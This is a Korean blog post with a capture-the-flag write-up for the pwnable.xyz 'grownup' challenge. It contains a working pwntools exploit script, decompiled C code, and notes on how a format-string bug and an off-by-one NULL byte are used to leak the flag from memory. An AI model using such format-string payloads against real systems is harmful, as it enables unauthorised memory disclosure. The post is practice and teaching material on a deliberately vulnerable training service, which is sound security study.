security/포너블 - pwnable.xyz

pwnable.xyz - grownup

민사민서 2023. 2. 5. 01:17
from pwn import *

p = remote("svc.pwnable.xyz", 30004)

p.recvuntil("older? [y/N]: ")
p.send(b"yAAAAAAA"+p64(0x601080))

p.recvuntil("Name: ")

''' buf[1] 위치 언제 등장하는지 확인 
pay = "A"*0x28 + "%p %p %p %p %p %p %p %p %p %p "
pay += 'A'*(0x80-len(pay))
출력결과: 첫번째 인자로 usr 주소, 9번째 인자로 buf[1]의 값
Welcome AAAAAAAA0x6010e0 0x7f30f4a648c0 (nil) 0x7f30f4c8b500 0x8 
0x10f4a773d0 0xc8e260 0x4141414141414179 0x601080 0x7fffa53c8fb0 AA~~
'''
pay = 'A'*32 + "%9$s" # 최소 32자의 DUMMY는 주어야 포맷스트링 제대로 실행됨
pay += 'A'*(0x80-len(pay))
p.send(pay)

p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // [rsp+8h] [rbp-28h]
  __int64 buf[4]; // [rsp+10h] [rbp-20h] BYREF

// 스택 카나리 설정 
  buf[3] = __readfsqword(0x28u);
  setup(argc, argv, envp);
// 첫 16byte=NULL
  buf[0] = 0LL;
  buf[1] = 0LL;
  printf("Are you 18 years or older? [y/N]: ");
// buf 첫 16byte에 값 저장, 마지막 바이트는 NULL로
  *((_BYTE *)buf + (int)(read(0, buf, 0x10uLL) - 1)) = 0;
// 가장 하위 바이트가 'y'또는 'Y'가 아니면 종료
  if ( LOBYTE(buf[0]) != 121 && LOBYTE(buf[0]) != 89 )
    return 0;

  src = (char *)malloc(0x84uLL);
  printf("Name: ");
// 0x80바이트 입력 시 0x81번째 위치에 NULL 들어감 
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ");
  printf(qword_601160, usr);
  return 0;
}

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, handler);
// qword_601160에 0x601168 주소 들어감 ("%s\n" 문자열 주소)
  qword_601160 = &byte_601168;
  byte_601168 = 37;
  byte_601169 = 115;
  byte_60116A = 10;
  return alarm(0x3Cu);
}

// flag는 바이너리 안에 있다네 (0x601080에 있답니다)
// Partial RELRO   Canary found      NX enabled    No PIE
// usr=0x6010E0, usr+0x80=0x601160 - 만약 0x80자 입력하면 qwrod_601160에 들어가는 주소는 0x601100
// 그러면 qword_601160의 포맷 스트링은 손상되고, 그냥 문자열 두 개를 이어서 출력하는 형태로 가게 된다
// buf에 0x601080 주소를 넣어두고, src에 포맷스트링을 넣어 플래그가 출력되도록 한다
// systemv 함수호출규약에 따르면 rdi,rsi,rdx,rcx,r8,r9 하고 스택 사용, buf[3]:7번째, buf[2]: 8번째, buf[1]: 9번째?
// 이상하게 8번째에 buf[0], 9번째에 buf[1] 등장
// buf[1]에 플래그 주솟값 넣어뒀으니 포맷 스트링을 "%9$s" 이런식으로 주면 되겟네
// payload 앞에 DUMMY 최소 32자는 줘야 함, 왜???

<블로그 해설>
printf("%s\n", usr) → printf(0x601100, usr)로 변하게 되었으며, 0x601100에 위치한 곳부터 끝까지 읽게 된다.
usr=0x6010E0이므로 usr+32번째 값부터 포맷스트링으로 작동!! (0x601100-> 포맷스트링, usr-> 첫번째 인자)


'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - two targets  (0) 2023.02.05
pwnable.xyz - note  (0) 2023.02.05
pwnable.xyz - misalignment  (0) 2023.02.05
pwnable.xyz - add  (0) 2023.02.05
pwnable.xyz - sub  (0) 2023.02.05